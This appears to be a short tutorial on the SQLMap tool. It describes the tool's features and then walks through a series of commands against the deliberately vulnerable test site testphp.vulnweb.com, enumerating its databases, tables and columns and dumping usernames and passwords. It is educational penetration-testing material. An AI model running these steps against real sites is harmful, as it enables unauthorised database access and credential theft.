Vidit Sharma

SQL Map-

SQLMap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities in web applications and databases. SQL injection is a common and serious security vulnerability that occurs when an attacker can manipulate an application's SQL query by injecting malicious SQL code.

SQLMap helps security professionals and ethical hackers identify and assess SQL injection vulnerabilities in web applications and their connected databases. Some of its key features include:

- Automated Detection: SQLMap can automatically identify and exploit SQL injection vulnerabilities in various database management systems (DBMS), including MySQL, PostgreSQL, Microsoft SQL Server, and more.
- Exploitation: It can exploit SQL injection vulnerabilities to retrieve data from databases, dump database contents, and even execute operating system commands on the underlying server.
- Support for Different Techniques: SQLMap supports various SQL injection techniques, such as boolean-based blind, time-based blind, error-based, UNION-based, and out-of-band SQL injection.
- Enumeration: The tool can enumerate database information, including databases, tables, columns, and users, providing valuable information for further attacks.
- Fingerprinting: SQLMap can identify the type and version of the database management system, which helps tailor attacks for maximum effectiveness.
- Database Takeover: In some cases, SQLMap can escalate an SQL injection vulnerability into a complete takeover of the target database or even the underlying server.

Scanning URL-

http://testphp.vulnweb.com/artists.php?artist=2

Performing a basic scan using SQLMap-

Command used- sqlmap -u 200~http://testphp.vulnweb.com/artists.php?artist=2 ~

To enumerate database on target server-

Command used- sqlmap -u http://testphp.vulnweb.com/artists.php?artist=2 -dbs

To enumerate tables-

Command used- sqlmap -u http://testphp.vulnweb.com/artists.php?artist=2 -D acuart --tables

Shows tables in the "acuart" database.

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For columns

Command used-sqlmap -u http://testphp.vulnweb.com/artists.php?artist=2 -D acuart -T users --columns

Lists columns in the "users" table.

This command runs SQLMap to exploit a SQL injection vulnerability in a target URL and retrieve data from the specified database table and column.

Command used- sqlmap -u http://testphp.vulnweb.com/artists.php?artist=2 -D acuart -T users -C uname --dump

Retrieves usernames.

Command used- sqlmap -u http://testphp.vulnweb.com/artists.php?artist=2 -D acuart -T users -C pass --dump

Retrieves passwords.